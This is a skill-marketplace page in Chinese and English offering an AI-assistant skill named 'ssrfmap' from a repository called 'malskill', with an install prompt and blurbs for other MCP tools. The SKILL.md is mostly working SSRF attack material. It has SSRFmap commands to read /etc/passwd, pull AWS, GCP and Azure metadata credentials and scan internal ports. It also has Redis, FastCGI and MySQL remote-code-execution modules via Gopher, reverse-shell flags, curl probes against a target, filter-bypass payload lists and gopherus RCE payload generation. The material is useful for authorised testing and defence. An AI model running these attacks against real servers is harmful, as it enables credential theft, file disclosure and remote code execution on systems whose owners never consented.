基于 SOC 职业分类
用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/AeonDave/malskill --skill ssrfmap命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
正在显示 SKILL.md
Operate the MCPwn Kali/Debian MCP efficiently: manage sessions, discover catalog tools, choose synchronous, detached, or interactive execution, move files through workspace/CAS planes, establish tunnels and shells, and run GDB or Frida debugging in the MCPwn runtime or through explicit host/device transports. Use for MCPwn or Kali MCP work, pwn/CTF and dynamic-analysis sessions, remote targets, connectivity or file-transfer problems, and optional NeuroMatrix-backed emulation/debugging through MCPwn's emulation domain.
Operate the standalone, client-neutral NeuroMatrix emulation MCP: create isolated sessions, stage CAS artifacts, discover and run Unicorn/Qiling/QEMU/Renode tools, manage jobs and interactive processes, expose guest endpoints, and debug emulated targets with GDB. Use for reverse engineering, user-mode or full-system emulation, firmware/kernel/MCU analysis, guest-service rehosting, runtime-evidence collection, or as the optional emulation provider behind MCPwn or another orchestrator.
Create, implement, scaffold, migrate, or review Model Context Protocol (MCP) servers against modern MCP 2026-07-28. Use for server architecture, tool/resource/prompt contracts, stdio or Streamable HTTP transports, MRTR, optional extensions, authorization, security, and real-transport validation. Also use to isolate legacy initialization or session behavior. Do not use merely to configure an MCP client or invoke an existing server.
| name | ssrfmap |
| description | Auth/lab ref: automated SSRF (Server-Side Request Forgery) exploitation tool using Burp-style request files. |
| license | MIT |
| compatibility | Linux / macOS / Windows; Python 3. |
| metadata | {"author":"AeonDave","version":"1.0"} |
Automated SSRF exploitation — local files, port scan, cloud metadata, internal service abuse.
git clone https://github.com/swisskyrepo/SSRFmap
cd SSRFmap && pip3 install -r requirements.txt
# Basic: read /etc/passwd via SSRF
python3 ssrfmap.py -r request.txt -p url -m readfiles
# AWS metadata extraction
python3 ssrfmap.py -r request.txt -p url -m aws
# Internal port scan
python3 ssrfmap.py -r request.txt -p url -m portscan
Save a Burp-captured request as request.txt:
POST /api/fetch HTTP/1.1
Host: target.com
Content-Type: application/json
Cookie: session=abc123
{"url": "http://SSRF_URL"}
The -p url flag tells SSRFmap which parameter inside the body/query contains the injectable URL. Use SSRF_URL as a placeholder; the tool replaces it.
| Flag | Purpose |
|---|---|
-r <file> | Burp-format request file |
-p <param> | Parameter name containing the SSRF URL |
-m <module> | Exploitation module(s) — comma-separated |
-l <level> | Verbosity level 0-3 (default: 0) |
--lhost <ip> | Local IP for reverse shells or callbacks |
--lport <port> | Local port for reverse shells |
--proxy <url> | Route requests through proxy |
--ssl | Force HTTPS connection to target |
--uagent <ua> | Custom User-Agent |
--waf | Enable WAF bypass mode (double URL encoding) |
| Module | What It Does |
|---|---|
readfiles | Read local files via file:///etc/passwd |
portscan | Scan internal ports (127.0.0.1 / RFC1918) |
aws | Extract AWS EC2 metadata (169.254.169.254) |
gcp | Extract GCP metadata (metadata.google.internal) |
azure | Extract Azure IMDS metadata |
networkscan | Ping sweep internal network |
redis | Exploit Redis via Gopher to write files or get shell |
smtp | Send email via internal SMTP (Gopher) |
fastcgi | PHP-FPM FastCGI RCE (Gopher) |
mysql | MySQL query via Gopher |
docker | Docker API enumeration |
zabbix | Zabbix API exploitation |
# Enumerate everything in one pass
python3 ssrfmap.py -r request.txt -p url \
-m aws,readfiles,portscan -l 2
Confirm SSRF exists before running SSRFmap:
# 1. Start listener
python3 -m http.server 8000
# 2. Send request with callback to your IP
# If you see a request in the listener → SSRF confirmed
# 3. Test file read manually
curl "https://target.com/api?url=file:///etc/passwd"
# 4. Test cloud metadata (AWS)
curl "https://target.com/api?url=http://169.254.169.254/latest/meta-data/"
# IP representation variants
http://2130706433/ # 127.0.0.1 as decimal
http://0x7f000001/ # 127.0.0.1 as hex
http://0177.0.0.1/ # 127.0.0.1 as octal
http://[::1]/ # IPv6 loopback
http://[::ffff:127.0.0.1]/ # IPv4-mapped IPv6
# DNS tricks
http://localtest.me/ # Resolves to 127.0.0.1
http://spoofed.burpcollaborator.net/ # DNS rebinding
# URL obfuscation
http://target.com@127.0.0.1/ # @ trick
http://127.0.0.1#target.com # Fragment
http://127.0.0.1/.target.com/ # Path confusion
# Protocol handlers
gopher://127.0.0.1:6379/_FLUSH%0D%0A # Redis via gopher
dict://127.0.0.1:6379/info # Redis via dict
For generating Gopher payloads targeting internal services:
pip3 install gopherus
gopherus --exploit redis # Redis RCE
gopherus --exploit mysql # MySQL query injection
gopherus --exploit fastcgi # PHP-FPM RCE
gopherus --exploit postgresql # PostgreSQL
references/ssrf-bypass.md